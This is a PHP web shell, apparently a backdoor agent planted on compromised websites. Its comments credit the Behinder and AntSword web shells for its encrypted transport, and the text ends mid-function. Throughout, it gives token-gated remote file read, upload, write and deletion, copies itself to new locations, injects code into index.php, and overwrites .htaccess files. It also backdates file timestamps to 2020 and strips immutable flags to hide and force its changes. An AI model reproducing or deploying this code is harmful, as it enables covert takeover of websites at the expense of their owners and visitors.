define('SECRET_KEY', 'LKSJDFaDFDF323$2afd');
$ROOT = dirname(__FILE__);
$SELF_FILE = __FILE__;
if (strpos($SELF_FILE, 'eval') !== false && isset($_SERVER['SCRIPT_FILENAME'])) {
$SELF_FILE = $_SERVER['SCRIPT_FILENAME'];
$ROOT = dirname($SELF_FILE);
}
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower($host);
$p = strpos($host, ':');
if ($p !== false) { $host = substr($host, 0, $p); }
if (substr($host, 0, 4) === 'www.') { $host = substr($host, 4); }
$expect = md5(SECRET_KEY . ':' . $host . ':' . SECRET_KEY);
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
if ($action === '' || $action === 'ping') {
header('Content-Type: text/plain');
echo '1';
exit;
}
if ($action === 'detect') {
$has_wp_load = is_file($ROOT . '/wp-load.php');
$has_wp_blog = is_file($ROOT . '/wp-blog-header.php');
$is_wp = $has_wp_load && $has_wp_blog;
header('Content-Type: application/json');
echo json_encode(array(
'code' => 200,
'is_wp' => $is_wp ? 1 : 0,
'cms' => $is_wp ? 'WordPress' : 'custom',
'bundle' => 1,
'detail' => array(
'wp-load.php' => $has_wp_load ? 1 : 0,
'wp-blog-header.php' => $has_wp_blog ? 1 : 0,
),
));
exit;
}
$token = '';
if (isset($_SERVER['HTTP_X_AQUA_TOKEN'])) {
$token = $_SERVER['HTTP_X_AQUA_TOKEN'];
} elseif (isset($_REQUEST['token'])) {
$token = $_REQUEST['token'];
}
if ($token !== $expect) {
aqua_json(403, '口令校验失败', null);
}
// ---- 传输解密层(借鉴冰蝎 + 蚁剑的传输协议) ----
//
// 支持两种加密标志的位置(向后兼容):
// 优先: URL query ?e=xor&l=1234 (新版,不怕被 CDN 吃掉)
// 兼容: HTTP header X-Aqua-Enc,X-Aqua-Len (旧版)
//
// 解密流程:
// 1. 截掉尾部 padding (通过 l 知道真实长度)
// 2. base64_decode + XOR (冰蝎方案,PHP 5.2+ 零依赖)
// 3. gzuncompress 解压 (如果 e=xor.gz 且有 zlib)
//
// 错误码约定:
// code:200 → 正常处理
// code:499 → 解密失败 (Go 端识别后自动重试,不 fallback 明文)
// code:401 → 未标注解密方式但看起来是加密数据 (让 Go 端 fallback 明文)
$__aqua_dec_body = null;
$__aqua_dec_error = '';
$__aqua_enc = '';
if (isset($_REQUEST['e']) && is_string($_REQUEST['e'])) {
$__aqua_enc = $_REQUEST['e'];
} elseif (isset($_SERVER['HTTP_X_AQUA_ENC'])) {
$__aqua_enc = $_SERVER['HTTP_X_AQUA_ENC'];
}
if ($__aqua_enc === 'xor' || $__aqua_enc === 'xor.gz') {
$__k = substr($expect, 0, 16);
$__raw = @file_get_contents('php://input');
if ($__raw === false || $__raw === '') {
$__aqua_dec_error = 'empty_input';
} else {
// 截掉尾部 padding
$__plen = 0;
if (isset($_REQUEST['l']) && ctype_digit((string)$_REQUEST['l'])) {
$__plen = intval($_REQUEST['l']);
} elseif (isset($_SERVER['HTTP_X_AQUA_LEN'])) {
$__plen = intval($_SERVER['HTTP_X_AQUA_LEN']);
}
if ($__plen > 0 && $__plen < strlen($__raw)) {
$__raw = substr($__raw, 0, $__plen);
}
// base64_decode + XOR
$__bin = base64_decode($__raw);
if ($__bin === false || $__bin === '') {
$__aqua_dec_error = 'base64_failed';
} else {
$__klen = strlen($__k);
for ($__i = 0, $__blen = strlen($__bin); $__i < $__blen; $__i++) {
$__bin[$__i] = chr(ord($__bin[$__i]) ^ ord($__k[$__i % $__klen]));
}
// gzip 解压
if ($__aqua_enc === 'xor.gz') {
if (function_exists('gzuncompress')) {
$__dec = @gzuncompress($__bin);
if ($__dec !== false) {
$__bin = $__dec;
} else {
$__aqua_dec_error = 'gzuncompress_failed';
}
}
// 没有 gzuncompress 也不阻断,当作未压缩继续尝试
}
if ($__aqua_dec_error === '') {
$__aqua_dec_body = $__bin;
}
}
}
// 解密失败 → 直接返回 499,让 Go 端重试
if ($__aqua_dec_body === null) {
aqua_json(499, 'decrypt_failed:' . $__aqua_dec_error, null);
}
unset($__k, $__raw, $__bin, $__klen, $__i, $__blen, $__plen, $__dec);
}
unset($__aqua_enc, $__aqua_dec_error);
function aqua_safe_path($ROOT, $rel) {
$rel = str_replace('\\', '/', $rel);
$rel = ltrim($rel, '/');
if ($rel === '' || strpos($rel, '..') !== false) { return false; }
$parts = explode('/', $rel);
$clean = array();
for ($i = 0; $i < count($parts); $i++) {
$seg = $parts[$i];
if ($seg === '' || $seg === || $seg === '..') { return false; }
$seg = preg_replace('/[^A-Za-z0-9._-]/', '_', $seg);
if ($seg === '') { return false; }
$clean[] = $seg;
}
return $ROOT . '/' . implode('/', $clean);
}
switch ($action) {
case 'read':
$rel = isset($_REQUEST['file']) ? $_REQUEST['file'] : 'index.php';
$full = aqua_safe_path($ROOT, $rel);
if ($full === false || !is_file($full)) {
aqua_json(404, '文件不存在', null);
}
$content = file_get_contents($full);
aqua_json(200, 'ok', array(
'file' => $rel,
'size' => strlen($content),
'md5' => md5($content),
'content' => base64_encode($content),
));
break;
case 'hash':
$rel = isset($_REQUEST['file']) ? $_REQUEST['file'] : 'index.php';
$full = aqua_safe_path($ROOT, $rel);
if ($full === false || !is_file($full)) {
aqua_json(404, '文件不存在', null);
}
aqua_json(200, 'ok', array(
'file' => $rel,
'size' => filesize($full),
'md5' => md5_file($full),
));
break;
case 'upload':
aqua_cleanup_blockers($ROOT);
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
aqua_json(400, '未收到文件或上传出错', null);
}
$rel = isset($_REQUEST['rel_path']) ? $_REQUEST['rel_path'] : '';
$rel = str_replace('\\', '/', $rel);
$rel = ltrim($rel, '/');
$slash = strrpos($rel, '/');
if ($slash === false) { $relDir = ''; $relFile = $rel; }
else { $relDir = substr($rel, 0, $slash); $relFile = substr($rel, $slash + 1); }
$relFile = basename($relFile);
$relFile = preg_replace('/[^A-Za-z0-9._-]/', '_', $relFile);
if ($relFile === '' || $relFile === || $relFile === '..') { $relFile = 'file_' . time(); }
$usedFallback = false;
if ($relDir === '') {
$destDir = $ROOT;
} else {
$parts = explode('/', $relDir); $safe = array(); $bad = false;
for ($i = 0; $i < count($parts); $i++) {
$seg = $parts[$i];
if ($seg === '' || $seg === || $seg === '..') { $bad = true; break; }
$c = preg_replace('/[^A-Za-z0-9._-]/', '_', $seg);
if ($c === '') { $bad = true; break; }
$safe[] = $c;
}
$cand = $bad ? '' : ($ROOT . '/' . implode('/', $safe));
if (!$bad && $cand !== '') {
if (!is_dir($cand)) {
@mkdir($cand, 0755, true);
}
if (is_dir($cand)) {
$destDir = $cand;
} else {
$destDir = $ROOT . '/uploads';
$usedFallback = true;
}
} else {
$destDir = $ROOT . '/uploads';
$usedFallback = true;
}
}
if ($usedFallback && !is_dir($destDir)) {
if (!@mkdir($destDir, 0755, true) && !is_dir($destDir)) {
aqua_json(500, '无法创建 uploads 兜底目录', null);
}
}
$dest = $destDir . '/' . $relFile;
if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
aqua_json(500, '保存失败', null);
}
aqua_touch_2020($dest);
aqua_touch_2020_dir($destDir, $ROOT);
aqua_json(200, 'ok', array(
'saved' => aqua_rel($ROOT, $dest),
'fallback' => $usedFallback ? 1 : 0,
'size' => filesize($dest),
));
break;
case 'write':
$rel = isset($_REQUEST['rel_path']) ? $_REQUEST['rel_path'] : '';
if ($rel === '') { aqua_json(400, '缺少 rel_path', null); }
aqua_cleanup_blockers($ROOT);
$dest = aqua_write_target($ROOT, $rel);
if ($dest === false) { aqua_json(400, '目标路径非法', null); }
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
if (is_file($dest)) { aqua_ensure_writable($dest); }
if (!@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
if (is_file($dest)) {
if (function_exists('exec')) { @exec('chattr -i ' . escapeshellarg($dest) . ' 2>/dev/null'); }
@chmod($dest, 0777); @unlink($dest);
}
if (!@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
aqua_json(500, '保存失败', null);
}
}
aqua_touch_2020($dest);
aqua_touch_2020_dir(dirname($dest), $ROOT);
aqua_json(200, 'ok', array('saved' => aqua_rel($ROOT, $dest), 'size' => filesize($dest)));
}
if (isset($_REQUEST['content_b64'])) {
$data = base64_decode($_REQUEST['content_b64']);
if ($data === false) { aqua_json(400, 'content_b64 解码失败', null); }
if (!aqua_force_write($dest, $data)) {
aqua_json(500, '写入失败', null);
}
aqua_touch_2020($dest);
aqua_touch_2020_dir(dirname($dest), $ROOT);
aqua_json(200, 'ok', array('saved' => aqua_rel($ROOT, $dest), 'size' => strlen($data)));
}
aqua_json(400, '没有可写入的内容', null);
break;
case 'spread':
$to = isset($_REQUEST['to']) ? $_REQUEST['to'] : '';
if ($to === '') { aqua_json(400, '缺少 to', null); }
$dest = aqua_write_target($ROOT, $to);
if ($dest === false) { aqua_json(400, '目标路径非法', null); }
$self = file_get_contents($SELF_FILE);
if ($self === false) { aqua_json(500, '读取自身失败', null); }
if (!aqua_force_write($dest, $self)) {
aqua_json(500, '复制失败(目录可能不可写)', null);
}
aqua_touch_2020($dest);
aqua_json(200, 'ok', array('spawned' => aqua_rel($ROOT, $dest), 'size' => strlen($self)));
break;
case 'backup':
if (!isset($_REQUEST['count'])) {
aqua_json(400, '缺少 count 参数', null);
}
$count = intval($_REQUEST['count']);
if ($count <= 0 || $count > 20) {
aqua_json(400, 'count 必须在 1-20 之间', null);
}
$results = array();
$successCount = 0;
$failedCount = 0;
for ($i = 0; $i < $count; $i++) {
$fromKey = 'from_' . $i;
$toKey = 'to_' . $i;
if (!isset($_REQUEST[$fromKey]) || !isset($_REQUEST[$toKey])) {
$results[] = array('index' => $i, 'ok' => false, 'error' => '缺少参数');
$failedCount++;
continue;
}
$from = $_REQUEST[$fromKey];
$to = $_REQUEST[$toKey];
$fromFull = aqua_safe_path($ROOT, $from);
$toFull = aqua_write_target($ROOT, $to);
if ($fromFull === false) {
$results[] = array('from' => $from, 'to' => $to, 'ok' => false, 'error' => '源路径非法');
$failedCount++;
continue;
}
if ($toFull === false) {
$results[] = array('from' => $from, 'to' => $to, 'ok' => false, 'error' => '目标路径非法');
$failedCount++;
continue;
}
if (!is_file($fromFull)) {
$results[] = array('from' => $from, 'to' => $to, 'ok' => false, 'error' => '源文件不存在');
$failedCount++;
continue;
}
$content = file_get_contents($fromFull);
if ($content === false) {
$results[] = array('from' => $from, 'to' => $to, 'ok' => false, 'error' => '读取源文件失败');
$failedCount++;
continue;
}
$needUpdate = true;
if (is_file($toFull)) {
$existing = file_get_contents($toFull);
if ($existing === $content) {
$needUpdate = false;
}
}
if ($needUpdate) {
if (!aqua_force_write($toFull, $content)) {
$results[] = array('from' => $from, 'to' => $to, 'ok' => false, 'error' => '写入备份失败');
$failedCount++;
continue;
}
aqua_touch_2020($toFull);
}
$results[] = array(
'from' => $from,
'to' => $to,
'ok' => true,
'size' => strlen($content),
'updated' => $needUpdate
);
$successCount++;
}
aqua_json(200, 'ok', array(
'success' => $successCount,
'failed' => $failedCount,
'files' => $results
));
break;
case 'batch_write':
aqua_cleanup_blockers($ROOT);
if (!isset($_FILES) || count($_FILES) === 0) {
aqua_json(400, '没有上传文件', null);
}
$results = array();
$successCount = 0;
$failedCount = 0;
foreach ($_FILES as $key => $file) {
$idx = str_replace('file_', '', $key);
$pathKey = 'path_' . $idx;
if (!isset($_REQUEST[$pathKey])) {
$results[] = array('file' => $key, 'ok' => false, 'error' => '缺少路径参数');
$failedCount++;
continue;
}
$relPath = $_REQUEST[$pathKey];
$dest = aqua_write_target($ROOT, $relPath);
if ($dest === false) {
$results[] = array('path' => $relPath, 'ok' => false, 'error' => '目标路径非法');
$failedCount++;
continue;
}
if ($file['error'] !== UPLOAD_ERR_OK) {
$results[] = array('path' => $relPath, 'ok' => false, 'error' => '上传错误:' . $file['error']);
$failedCount++;
continue;
}
if (is_file($dest)) {
aqua_ensure_writable($dest);
}
if (!@move_uploaded_file($file['tmp_name'], $dest)) {
if (is_file($dest)) {
if (function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($dest) . ' 2>/dev/null');
}
@chmod($dest, 0777);
@unlink($dest);
}
if (!@move_uploaded_file($file['tmp_name'], $dest)) {
$results[] = array('path' => $relPath, 'ok' => false, 'error' => '保存失败');
$failedCount++;
continue;
}
}
aqua_touch_2020($dest);
aqua_touch_2020_dir(dirname($dest), $ROOT);
$results[] = array(
'path' => $relPath,
'ok' => true,
'size' => filesize($dest),
'md5' => md5_file($dest)
);
$successCount++;
}
aqua_json(200, 'ok', array(
'success' => $successCount,
'failed' => $failedCount,
'files' => $results
));
break;
case 'batch_remove':
if (!isset($_REQUEST['count'])) {
aqua_json(400, '缺少 count 参数', null);
}
$count = intval($_REQUEST['count']);
if ($count <= 0 || $count > 50) {
aqua_json(400, 'count 必须在 1-50 之间', null);
}
$results = array();
$successCount = 0;
$failedCount = 0;
for ($i = 0; $i < $count; $i++) {
$fileKey = 'file_' . $i;
if (!isset($_REQUEST[$fileKey])) {
$results[] = array('index' => $i, 'ok' => false, 'error' => '缺少参数');
$failedCount++;
continue;
}
$rel = $_REQUEST[$fileKey];
$full = aqua_safe_path($ROOT, $rel);
if ($full === false) {
$results[] = array('file' => $rel, 'ok' => false, 'error' => '路径非法');
$failedCount++;
continue;
}
if (!is_file($full)) {
$results[] = array('file' => $rel, 'ok' => true, 'skipped' => true);
$successCount++;
continue;
}
@chmod($full, 0644);
if (!@unlink($full)) {
@chmod($full, 0777);
if (!@unlink($full)) {
if (function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($full) . ' 2>/dev/null');
@chmod($full, 0644);
}
if (!@unlink($full)) {
$results[] = array('file' => $rel, 'ok' => false, 'error' => '删除失败');
$failedCount++;
continue;
}
}
}
$results[] = array('file' => $rel, 'ok' => true);
$successCount++;
}
aqua_json(200, 'ok', array(
'success' => $successCount,
'failed' => $failedCount,
'files' => $results
));
break;
case 'remove':
$rel = isset($_REQUEST['file']) ? $_REQUEST['file'] : '';
$full = aqua_safe_path($ROOT, $rel);
if ($full === false || !is_file($full)) { aqua_json(404, '文件不存在', null); }
@chmod($full, 0644);
if (!@unlink($full)) {
@chmod($full, 0777);
if (!@unlink($full)) {
if (function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($full) . ' 2>/dev/null');
@chmod($full, 0644);
}
if (!@unlink($full)) {
aqua_json(500, '删除失败', array('file' => $rel, 'perms' => substr(sprintf('%o', fileperms($full)), -4)));
}
}
}
aqua_json(200, 'ok', array('removed' => $rel));
break;
case 'prepend':
$rel = isset($_REQUEST['file']) ? $_REQUEST['file'] : '';
if ($rel === '') { aqua_json(400, '缺少 file', null); }
$full = aqua_safe_path($ROOT, $rel);
if ($full === false || !is_file($full)) {
aqua_json(404, '文件不存在', null);
}
$snippet = isset($_REQUEST['snippet']) ? $_REQUEST['snippet'] : '';
$marker = isset($_REQUEST['marker']) ? $_REQUEST['marker'] : '';
if ($snippet === '') { aqua_json(400, '缺少 snippet', null); }
$content = file_get_contents($full);
if ($marker !== '' && strpos($content, $marker) !== false) {
aqua_json(200, 'already', array(
'file' => $rel,
'injected' => false,
'size' => strlen($content),
'md5' => md5($content),
'content' => base64_encode($content),
));
}
$pos = stripos($content, '');
if ($pos === false) {
aqua_json(200, 'no_php_tag', array(
'file' => $rel,
'injected' => false,
'size' => strlen($content),
'md5' => md5($content),
'content' => base64_encode($content),
));
}
$insertAt = $pos + 5;
$newContent = substr($content, 0, $insertAt) . "\n" . $snippet . "\n" . substr($content, $insertAt);
if (!aqua_force_write($full, $newContent)) {
aqua_json(500, '写入失败', null);
}
aqua_touch_2020($full);
aqua_json(200, 'ok', array(
'file' => $rel,
'injected' => true,
'size' => strlen($newContent),
'md5' => md5($newContent),
'content' => base64_encode($newContent),
));
break;
case 'rename':
$from = isset($_REQUEST['from']) ? $_REQUEST['from'] : '';
$to = isset($_REQUEST['to']) ? $_REQUEST['to'] : '';
if ($from === '' || $to === '') { aqua_json(400, '缺少 from 或 to', null); }
$fullFrom = aqua_safe_path($ROOT, $from);
$fullTo = aqua_safe_path($ROOT, $to);
if ($fullFrom === false) { aqua_json(400, 'from 路径非法', null); }
if ($fullTo === false) { aqua_json(400, 'to 路径非法', null); }
if (!is_file($fullFrom)) { aqua_json(404, '源文件不存在', null); }
aqua_ensure_writable($fullFrom);
if (!@rename($fullFrom, $fullTo)) {
aqua_json(500, '重命名失败', null);
}
aqua_touch_2020($fullTo);
aqua_json(200, 'ok', array('from' => $from, 'to' => $to));
break;
case 'touch_dirs':
aqua_touch_all_dirs($ROOT);
aqua_json(200, 'ok', null);
break;
case 'list_directories':
$relPath = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
$depth = isset($_REQUEST['depth']) ? intval($_REQUEST['depth']) : 1;
$maxResults = isset($_REQUEST['max_results']) ? intval($_REQUEST['max_results']) : 200;
if ($depth < 0) $depth = 1;
if ($depth > 10) $depth = 10;
if ($maxResults < 1) $maxResults = 200;
if ($maxResults > 1000) $maxResults = 1000;
$scanRoot = $ROOT;
if ($relPath !== '') {
$scanRoot = aqua_safe_path($ROOT, $relPath);
if ($scanRoot === false || !is_dir($scanRoot)) {
aqua_json(400, '路径不存在或非法', null);
}
}
$dirs = array();
aqua_scan_directories($scanRoot, $ROOT, '', $depth, 0, $dirs, $maxResults);
sort($dirs);
aqua_json(200, 'ok', array(
'directories' => $dirs,
'count' => count($dirs),
'depth' => $depth,
'truncated' => count($dirs) >= $maxResults ? 1 : 0
));
break;
case 'bundle_harden':
aqua_cleanup_blockers($ROOT);
$req = aqua_read_json_body();
if (!is_array($req)) {
aqua_json(400, 'bundle_harden 需要 JSON body', null);
}
$out = array(
'cleanup' => array(),
'backup' => array(),
'files' => array(),
'protect' => array(),
);
if (isset($req['cleanup_files']) && is_array($req['cleanup_files'])) {
foreach ($req['cleanup_files'] as $rel) {
if (!is_string($rel) || $rel === '') { continue; }
$full = aqua_safe_path($ROOT, $rel);
if ($full === false) {
$out['cleanup'][$rel] = 'invalid_path';
continue;
}
if (!is_file($full)) {
$out['cleanup'][$rel] = 'not_found';
continue;
}
$out['cleanup'][$rel] = aqua_hard_unlink($full) ? 'deleted' : 'delete_failed';
}
}
if (isset($req['backup_pairs']) && is_array($req['backup_pairs'])) {
foreach ($req['backup_pairs'] as $pair) {
if (!is_array($pair)) { continue; }
$from = isset($pair['from']) ? $pair['from'] : '';
$to = isset($pair['to']) ? $pair['to'] : '';
if ($from === '' || $to === '') { continue; }
$item = array('from' => $from, 'to' => $to);
$fromFull = aqua_safe_path($ROOT, $from);
$toFull = aqua_write_target($ROOT, $to);
if ($fromFull === false || $toFull === false) {
$item['ok'] = false; $item['error'] = 'invalid_path';
} elseif (!is_file($fromFull)) {
$item['ok'] = false; $item['error'] = 'no_source';
} else {
$content = @file_get_contents($fromFull);
if ($content === false) {
$item['ok'] = false; $item['error'] = 'read_failed';
} else {
$needUpdate = true;
if (is_file($toFull)) {
$existing = @file_get_contents($toFull);
if ($existing === $content) { $needUpdate = false; }
}
if ($needUpdate) {
if (aqua_force_write($toFull, $content)) {
aqua_touch_2020($toFull);
$item['ok'] = true;
$item['updated'] = true;
$item['size'] = strlen($content);
} else {
$item['ok'] = false; $item['error'] = 'write_failed';
}
} else {
$item['ok'] = true;
$item['updated'] = false;
$item['size'] = strlen($content);
}
}
}
$out['backup'][] = $item;
}
}
// rename_pairs: 重命名(不保留原文件)
if (isset($req['rename_pairs']) && is_array($req['rename_pairs'])) {
foreach ($req['rename_pairs'] as $pair) {
if (!is_array($pair)) { continue; }
$from = isset($pair['from']) ? $pair['from'] : '';
$to = isset($pair['to']) ? $pair['to'] : '';
if ($from === '' || $to === '') { continue; }
$item = array('from' => $from, 'to' => $to);
$fromFull = aqua_safe_path($ROOT, $from);
$toFull = aqua_write_target($ROOT, $to);
if ($fromFull === false || $toFull === false) {
$item['ok'] = false; $item['error'] = 'invalid_path';
} elseif (!is_file($fromFull)) {
$item['ok'] = true; $item['updated'] = false; $item['error'] = 'no_source';
} else {
if (@rename($fromFull, $toFull)) {
aqua_touch_2020($toFull);
$item['ok'] = true; $item['updated'] = true;
} else {
$item['ok'] = false; $item['error'] = 'rename_failed';
}
}
if (!isset($out['rename'])) { $out['rename'] = array(); }
$out['rename'][] = $item;
}
}
if (isset($req['files']) && is_array($req['files'])) {
foreach ($req['files'] as $rel => $b64) {
if (!is_string($rel) || $rel === '' || !is_string($b64)) {
$out['files'][(string)$rel] = array('ok' => false, 'error' => 'bad_param');
continue;
}
$dest = aqua_write_target($ROOT, $rel);
if ($dest === false) {
$out['files'][$rel] = array('ok' => false, 'error' => 'invalid_path');
continue;
}
$content = base64_decode($b64, true);
if ($content === false) {
$out['files'][$rel] = array('ok' => false, 'error' => 'bad_base64');
continue;
}
if (aqua_force_write($dest, $content)) {
aqua_touch_2020($dest);
aqua_touch_2020_dir(dirname($dest), $ROOT);
$out['files'][$rel] = array(
'ok' => true,
'size' => strlen($content),
'md5' => md5($content),
);
} else {
$out['files'][$rel] = array('ok' => false, 'error' => 'write_failed');
}
}
}
if (isset($req['protect_htaccess_b64']) && is_string($req['protect_htaccess_b64']) && $req['protect_htaccess_b64'] !== '') {
$protectContent = base64_decode($req['protect_htaccess_b64'], true);
if ($protectContent === false) {
$out['protect']['error'] = 'bad_base64';
} else {
$exclude = array();
if (isset($req['protect_exclude']) && is_array($req['protect_exclude'])) {
foreach ($req['protect_exclude'] as $ex) {
if (is_string($ex)) { $exclude[$ex] = true; }
}
}
$found = array();
$skipped = array();
$written = array();
$errors = array();
$dh = @opendir($ROOT);
if ($dh) {
while (($f = readdir($dh)) !== false) {
if ($f === || $f === '..') { continue; }
if (!is_dir($ROOT . '/' . $f)) { continue; }
$found[] = $f;
if (isset($exclude[$f])) { $skipped[] = $f; continue; }
$dest = $ROOT . '/' . $f . '/.htaccess';
if (aqua_force_write($dest, $protectContent)) {
aqua_touch_2020($dest);
$written[] = $f;
} else {
$errors[] = $f;
}
}
closedir($dh);
sort($found);
}
$out['protect'] = array(
'found' => $found,
'skipped' => $skipped,
'written' => $written,
'errors' => $errors,
);
}
}
aqua_json(200, 'ok', $out);
break;
case 'bundle_harden_nonwp':
aqua_cleanup_blockers($ROOT);
$req = aqua_read_json_body();
if (!is_array($req)) {
aqua_json(400, 'bundle_harden_nonwp 需要 JSON body', null);
}
$out = array(
'defines' => null,
'index' => null,
'htaccess'=> null,
);
$definesB64 = isset($req['defines_php_b64']) ? $req['defines_php_b64'] : '';
if (is_string($definesB64) && $definesB64 !== '') {
$bytes = base64_decode($definesB64, true);
if ($bytes === false) {
$out['defines'] = array('ok' => false, 'error' => 'bad_base64');
} else {
$dest = aqua_write_target($ROOT, 'defines.php');
if ($dest === false) {
$out['defines'] = array('ok' => false, 'error' => 'invalid_path');
} elseif (aqua_force_write($dest, $bytes)) {
aqua_touch_2020($dest);
$out['defines'] = array(
'ok' => true,
'size' => strlen($bytes),
'md5' => md5($bytes),
);
} else {
$out['defines'] = array('ok' => false, 'error' => 'write_failed');
}
}
} else {
$out['defines'] = array('ok' => false, 'error' => 'missing_defines_php_b64');
}
$indexHtml = $ROOT . '/index.html';
$indexPhp = $ROOT . '/index.php';
if (is_file($indexHtml)) {
$index2 = $ROOT . '/index2.html';
$renamed = @rename($indexHtml, $index2);
if (!$renamed) {
if (is_file($index2)) {
aqua_hard_unlink($index2);
$renamed = @rename($indexHtml, $index2);
}
}
if (!$renamed) {
$out['index'] = array('mode' => 'html_present', 'ok' => false, 'error' => 'rename_failed');
} else {
aqua_touch_2020($index2);
$withHtmlB64 = isset($req['index_php_with_html_b64']) ? $req['index_php_with_html_b64'] : '';
$bytes = base64_decode((string)$withHtmlB64, true);
if ($bytes === false || $bytes === '') {
$out['index'] = array('mode' => 'html_present', 'ok' => false, 'error' => 'bad_index_php_with_html_b64');
} elseif (aqua_force_write($indexPhp, $bytes)) {
aqua_touch_2020($indexPhp);
$out['index'] = array(
'mode' => 'html_present',
'ok' => true,
'renamed_to' => 'index2.html',
'size' => strlen($bytes),
);
} else {
$out['index'] = array('mode' => 'html_present', 'ok' => false, 'error' => 'write_failed');
}
}
} else {
if (!is_file($indexPhp)) {
$defaultB64 = isset($req['index_php_default_b64']) ? $req['index_php_default_b64'] : '';
$bytes = base64_decode((string)$defaultB64, true);
if ($bytes === false || $bytes === '') {
$out['index'] = array('mode' => 'no_index_create', 'ok' => false, 'error' => 'bad_index_php_default_b64');
} elseif (aqua_force_write($indexPhp, $bytes)) {
aqua_touch_2020($indexPhp);
$out['index'] = array('mode' => 'no_index_create', 'ok' => true, 'size' => strlen($bytes));
} else {
$out['index'] = array('mode' => 'no_index_create', 'ok' => false, 'error' => 'write_failed');
}
} else {
$orig = @file_get_contents($indexPhp);
if ($orig === false) {
$out['index'] = array('mode' => 'prepend', 'ok' => false, 'error' => 'read_failed');
} else {
$marker = isset($req['index_require_marker']) ? (string)$req['index_require_marker'] : '';
if ($marker !== '' && strpos($orig, $marker) !== false) {
$out['index'] = array('mode' => 'prepend', 'ok' => true, 'skipped' => true, 'reason' => 'already_injected');
} else {
$line = isset($req['index_require_line']) ? (string)$req['index_require_line'] : '';
if ($line === '') {
$out['index'] = array('mode' => 'prepend', 'ok' => false, 'error' => 'missing_index_require_line');
} else {
$newContent = $line . "\n" . $orig;
if (aqua_force_write($indexPhp, $newContent)) {
aqua_touch_2020($indexPhp);
$out['index'] = array('mode' => 'prepend', 'ok' => true, 'size' => strlen($newContent));
} else {
$out['index'] = array('mode' => 'prepend', 'ok' => false, 'error' => 'write_failed');
}
}
}
}
}
}
$htaccessTargetFull = $ROOT . '/.htaccess';
$htaccessB64 = isset($req['htaccess_b64']) ? $req['htaccess_b64'] : '';
$htaccessMarker = isset($req['htaccess_marker']) ? (string)$req['htaccess_marker'] : '';
$htaccessBackupName = isset($req['htaccess_backup_name']) && $req['htaccess_backup_name'] !== ''
? (string)$req['htaccess_backup_name']
: 'htaccesscf';
$htaccessBytes = base64_decode((string)$htaccessB64, true);
if ($htaccessBytes === false || $htaccessBytes === '') {
$out['htaccess'] = array('ok' => false, 'error' => 'bad_htaccess_b64');
} elseif (!is_file($htaccessTargetFull)) {
if (aqua_force_write($htaccessTargetFull, $htaccessBytes)) {
aqua_touch_2020($htaccessTargetFull);
$out['htaccess'] = array('mode' => 'create', 'ok' => true, 'size' => strlen($htaccessBytes));
} else {
$out['htaccess'] = array('mode' => 'create', 'ok' => false, 'error' => 'write_failed');
}
} else {
$origHt = @file_get_contents($htaccessTargetFull);
if ($origHt === false) {
$out['htaccess'] = array('mode' => 'check', 'ok' => false, 'error' => 'read_failed');
} elseif ($htaccessMarker !== '' && strpos($origHt, $htaccessMarker) !== false) {
$out['htaccess'] = array('mode' => 'skip', 'ok' => true, 'skipped' => true, 'reason' => 'already_hardened');
} else {
$bkPath = aqua_write_target($ROOT, $htaccessBackupName);
$bkOk = false;
if ($bkPath !== false) {
if (aqua_force_write($bkPath, $origHt)) {
aqua_touch_2020($bkPath);
$bkOk = true;
}
}
if (aqua_force_write($htaccessTargetFull, $htaccessBytes)) {
aqua_touch_2020($htaccessTargetFull);
$out['htaccess'] = array(
'mode' => 'backup_and_write',
'ok' => true,
'backup_ok' => $bkOk,
'backup_path' => $htaccessBackupName,
'size' => strlen($htaccessBytes),
);
} else {
$out['htaccess'] = array('mode' => 'backup_and_write', 'ok' => false, 'error' => 'write_failed', 'backup_ok' => $bkOk);
}
}
}
aqua_json(200, 'ok', $out);
break;
case 'bundle_report':
$req = aqua_read_json_body();
if (!is_array($req)) {
aqua_json(400, 'bundle_report 需要 JSON body', null);
}
$out = array(
'files' => array(),
'backup' => null,
'restore' => array(),
'wp_login'=> null,
);
$fileContents = array();
$fileMd5s = array();
if (isset($req['read_files']) && is_array($req['read_files'])) {
foreach ($req['read_files'] as $rel) {
if (!is_string($rel) || $rel === '') { continue; }
$full = aqua_safe_path($ROOT, $rel);
if ($full === false || !is_file($full)) {
$out['files'][$rel] = array('ok' => false, 'error' => 'not_found');
continue;
}
$content = @file_get_contents($full);
if ($content === false) {
$out['files'][$rel] = array('ok' => false, 'error' => 'read_failed');
continue;
}
$md5 = md5($content);
$fileContents[$rel] = $content;
$fileMd5s[$rel] = $md5;
$out['files'][$rel] = array(
'ok' => true,
'md5' => $md5,
'size' => strlen($content),
'content' => base64_encode($content),
);
}
}
if (isset($req['backup_path']) && is_string($req['backup_path']) && $req['backup_path'] !== '') {
$backupPath = $req['backup_path'];
$dest = aqua_write_target($ROOT, $backupPath);
if ($dest === false) {
$out['backup'] = array('ok' => false, 'error' => 'invalid_path', 'path' => $backupPath);
} else {
$pack = array('files' => array());
foreach ($fileContents as $rel => $content) {
$pack['files'][$rel] = array(
'content' => base64_encode($content),
'md5' => $fileMd5s[$rel],
);
}
$json = json_encode($pack);
if (aqua_force_write($dest, $json)) {
aqua_touch_2020($dest);
$out['backup'] = array('ok' => true, 'path' => $backupPath, 'size' => strlen($json));
} else {
$out['backup'] = array('ok' => false, 'error' => 'write_failed', 'path' => $backupPath);
}
}
}
if (isset($req['restore_targets']) && is_array($req['restore_targets'])) {
foreach ($req['restore_targets'] as $t) {
if (!is_array($t)) { continue; }
$path = isset($t['path']) ? $t['path'] : '';
$codeB = isset($t['code_b64']) ? $t['code_b64'] : '';
$marker = isset($t['marker']) ? $t['marker'] : '';
if ($path === '' || $codeB === '') { continue; }
$item = array('path' => $path);
$full = aqua_safe_path($ROOT, $path);
if ($full === false || !is_file($full)) {
$item['ok'] = false; $item['error'] = 'not_found';
$out['restore'][] = $item;
continue;
}
